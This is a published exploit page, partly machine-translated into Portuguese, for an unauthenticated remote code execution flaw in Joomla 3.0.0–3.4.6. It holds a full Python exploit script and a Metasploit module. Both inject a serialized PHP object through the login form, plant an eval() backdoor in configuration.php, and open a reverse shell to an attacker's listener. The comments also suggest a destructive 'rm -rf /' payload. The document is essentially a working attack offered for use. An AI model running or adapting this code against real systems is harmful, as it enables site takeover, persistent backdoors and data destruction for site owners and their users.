Joomla! 3.4.6 – Remote Code Execution
# Título da Exploração: Joomla! 3.4.6 – Execução remota de código
# Google Dork: N / A
# Data: 2019-10-02
# Exploit Autor: Alessandro Groppo
# Página inicial do fornecedor: https // www.joomla.it /
# Link do software: https://downloads.joomla.org/it/cms/joomla3/3-4-6
# Versão: 3.0.0 -> 3.4.6
# Testado em: Linux
# CVE: N / D
# Detalhes técnicos: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
# Github: https://github.com/kiks7/rusty_joomla_rce
#
# A exploração está implantando um backdoor no arquivo /configuration.php no diretório raiz com uma avaliação para ser mais adequado para todos os ambientes, mas também é mais intrusivo.
# Se você não gostar dessa maneira, poderá substituir o get_backdoor_pay () por get_pay (‘php_function’, ‘parameter’) como get_pay (‘system’, ‘rm -rf /’)
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
def random_string(stringLength):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
backdoor_param = random_string(50)
def print_info(str):
print(colored("[*] " + str,"cyan"))
def print_ok(str):
print(colored("[+] "+ str,"green"))
def print_error(str):
print(colored("[-] "+ str,"red"))
def print_warning(str):
print(colored("[!!] " + str,"yellow"))
def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf
def get_error(url, cook):
resp = requests.get(url, cookies = cook, proxies = PROXS)
if 'Failed to decode session object' in resp.text:
#print(resp.text)
return False
#print(resp.text)
return True
def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies
def gen_pay(function, command):
# Generate the payload for call_user_func('FUNCTION','COMMAND')
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
#payload = command + ' || $a=\'http://wtf\';'
payload = 'http://l4m3rz.l337/;' + command
# Following payload will append an eval() at the enabled of the configuration file
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final
def make_req(url , object_payload):
# just make a req with object
print_info('Getting Session Cookie ..')
cook = get_cook(url)
print_info('Getting CSRF Token ..')
csrf = get_token( url, cook)
user_payload = '\\0\\0\\0' * 9
padding = 'AAA' # It will land at this padding
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
inj_object = '";'
inj_object += object_payload
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
password_payload = padding + inj_object
params = {
'username': user_payload,
'password': password_payload,
'option':'com_users',
'task':'user.login',
csrf :'1'
}
print_info('Sending request ..')
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)
return resp.text
def get_backdoor_pay():
# This payload will backdoor the the configuration .PHP with an eval on POST request
function = 'assert'
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# payload = command + ' || $a=\'http://wtf\';'
# Following payload will append an eval() at the enabled of the configuration file
payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final
def check(url):
check_string = random_string(20)
target_url = url + 'index.php/component/users'
html = make_req(url, gen_pay('print_r',check_string))
if check_string in html:
return True
else:
return False
def ping_backdoor(url,param_name):
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
if 'PWNED' in res.text:
return True
return False
def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
print(res.text)
def exploit(url, lhost, lport):
# Exploit the target
# Default exploitation will append en eval function at the end of the configuration.pphp
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
# e.g. get_payload('system','rm -rf /')
# First check that the backdoor has not been already implanted
target_url = url + 'index.php/component/users'
make_req(target_url, get_backdoor_pay())
if ping_backdoor(url, backdoor_param):
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
print_info('Now it\'s time to reverse, trying with a system + perl')
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target',required=True,help='Joomla Target')
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
args = vars(parser.parse_args())
url = args['target']
if(check(url)):
print_ok('Vulnerable')
if args['exploit']:
exploit(url, args['lhost'], args['lport'])
else:
print_info('Use --exploit to exploit it')
else:
print_error('Seems NOT Vulnerable ;/')
metasploit_rusty_joomla_rce.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Joomla
def initialize(info = {})
super(update_info(info,
'Name' => 'Rusty Joomla Unauthenticated Remote Code Execution',
'Description' => %q{
PHP Object Injection because of a downsize in the read/write process with the database leads to RCE.
The exploit will backdoor the configuration.php file in the root directory with en eval of a POST parameter.
That's because the exploit is more reliabale (doesn't rely on common disabled function).
For this reason, use it with caution and remember the house cleaning.
Btw, you can also edit this exploit and use whatever payload you want. just modify the exploit object with
get_payload('you_php_function','your_parameters'), e.g. get_payload('system','rm -rf /') and enjoy
},
'Author' =>
[
'Alessandro \'kiks\' Groppo @Hacktive Security',
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41']
],
'Privileged' => false,
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'Targets' => [['Joomla 3.0.0 - 3.4.6', {}]],
'DisclosureDate' => 'Oct 02 2019',
'DefaultTarget' => 0)
)
register_advanced_options(
[
OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
])
end
def get_random_string(length=50)
source=("a".."z").to_a + ("A".."Z").to_a + (0..9).to_a
key=""
length.times{ key += source[rand(source.size)].to_s }
return key
end
def get_session_token
# Get session token from cookies
vprint_status('Getting Session Token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
cook = res.headers['Set-Cookie'].split(';')[0]
vprint_status('Session cookie: ' + cook)
return cook
end
def get_csrf_token(sess_cookie)
vprint_status('Getting CSRF Token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'/index.php/component/users'),
'headers' => {
'Cookie' => sess_cookie,
}
})
html = res.get_html_document
input_field = html.at('//form').xpath('//input')[-1]
token = input_field.to_s.split(' ')[2]
token = token.gsub('name="','').gsub('"','')
if token then
vprint_status('CSRF Token: ' + token)
return token
end
print_error('Cannot get the CSRF Token ..')
end
def get_payload(function, payload)
# @function: The PHP Function
# @payload: The payload for the call
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# The http:// part is necessary in order to validate a condition in SimplePie::init and trigger the call_user_func with arbitrary values
payload = 'http://l4m3rz.l337/;' + payload
final = template.gsub('PAYLOAD',payload).gsub('LENGTH', payload.length.to_s).gsub('FUNC_NAME', function).gsub('FUNC_LEN', function.length.to_s)
return final
end
def get_payload_backdoor(param_name)
# return the backdoor payload
# or better, the payload that will inject and eval function in configuration.php (in the root)
# As said in other part of the code. we cannot create new .php file because we cannot use
# the ? character because of the check on URI schema
function = 'assert'
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# This payload will append an eval() at the end of the configuration file
payload = "file_put_contents('configuration.php','if(isset($_POST[\\'"+param_name+"\\'])) eval($_POST[\\'"+param_name+"\\']);', FILE_APPEND) || $a=\'http://wtf\';"
template['PAYLOAD'] = payload
template['LENGTH'] = payload.length.to_s
template['FUNC_NAME'] = function
template['FUNC_LEN'] = function.length.to_s
return template
end
def check_by_exploiting
# Check that is vulnerable by exploiting it and try to inject a printr('something')
# Get the Session anb CidSRF Tokens
sess_token = get_session_token()
csrf_token = get_csrf_token(sess_token)
print_status('Testing with a POC object payload')
username_payload = '\\0\\0\\0' * 9
password_payload = 'AAA";' # close the prev object
password_payload += get_payload('print_r','IAMSODAMNVULNERABLE') # actual payload
password_payload += 's:6:"return":s:102:' # close cleanly the object
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path,'/index.php/component/users'),
'method' => 'POST',
'headers' =>
{
'Cookie' => sess_token,
},
'vars_post' => {
'username' => username_payload,
'password' => password_payload,
'option' => 'com_users',
'task' => 'user.login',
csrf_token => '1',
}
})
# Redirect in order to retrieve the output
if res.redirection then
res_redirect = send_request_cgi({
'method' => 'GET',
'uri' => res.redirection.to_s,
'headers' =>{
'Cookie' => sess_token
}
})
if 'IAMSODAMNVULNERABLE'.in? res.to_s or 'IAMSODAMNVULNERABLE'.in? res_redirect.to_s then
return true
else
return false
end
end
end
def check
# Check if the target is UP and get the current version running by info leak
res = send_request_cgi({'uri' => normalize_uri(target_uri.path, '/administrator/manifests/files/joomla.xml')})
unless res
print_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
# Parse XML to get the version
if res.code == 200 then
xml = res.get_xml_document
version = xml.at('version').text
print_status('Identified version ' + version)
if version <= '3.4.6' and version >= '3.0.0' then
if check_by_exploiting()
return Exploit::CheckCode::Vulnerable
else
if check_by_exploiting() then
# Try the POC 2 times.
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
else
return Exploit::CheckCode::Safe
end
else
print_error('Cannot retrieve XML file for the Joomla Version. Try the POC in order to confirm if it\'s vulnerable')
if check_by_exploiting() then
return Exploit::CheckCode::Vulnerable
else
if check_by_exploiting() then
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
end
end
def exploit
if check == Exploit::CheckCode::Safe && !datastore['FORCE']
print_error('Target is not vulnerable')
return
end
pwned = false
cmd_param_name = get_random_string(50)
sess_token = get_session_token()
csrf_token = get_csrf_token(sess_token)
# Para evitar problemas com funções desativadas
# Vamos adicionar uma função eval () no final do arquivo configuration.php
# Isso não causará nenhum problema ao Joomla e é uma boa maneira de executar o PHP diretamente
# cuz assert é muito irritante e, com as condições que temos, não podemos injetar alguns caracteres
# Então, usaremos ‘assert’ com file_put_contents para acrescentar a string. então crie um shell reverso com esse backdoor
# Ah, esqueci, não podemos criar um novo arquivo porque não podemos usar o ‘?’ caractere para ser interpretado pelo servidor da web.
# TODO: adicione o objeto de carga útil do PHP para injetar a backdoor dentro do arquivo configuration.php
# Use o backdoor implantado para receber um pequeno shell reverso agradável com uma carga útil PHP
# Implant the backdoor
vprint_status('Cooking the exploit ..')
username_payload = '\\0\\0\\0' * 9
password_payload = 'AAA";' # close the prev object
password_payload += get_payload_backdoor(cmd_param_name) # actual payload
password_payload += 's:6:"return":s:102:' # close cleanly the object
print_status('Sending exploit ..')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path,'/index.php/component/users'),
'method' => 'POST',
'headers' => {
'Cookie' => sess_token
},
'vars_post' => {
'username' => username_payload,
'password' => password_payload,
'option' => 'com_users',
'task' => 'user.login',
csrf_token => '1'
}
})
print_status('Triggering the exploit ..')
if res.redirection then
res_redirect = send_request_cgi({
'method' => 'GET',
'uri' => res.redirection.to_s,
'headers' =>{
'Cookie' => sess_token
}
})
end
# Ping the backdoor see if everything is ok :/
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'configuration.php'),
'vars_post' => {
cmd_param_name => 'echo \'PWNED\';'
}
})
if res.to_s.include? 'PWNED' then
print_status('Target P0WN3D! eval your code at /configuration.php with ' + cmd_param_name + ' in a POST')
pwned = true
end
if pwned then
print_status('Now it\'s time to reverse shell')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'configuration.php'),
'vars_post' => {
cmd_param_name => payload.encoded
}
})
end
end
end
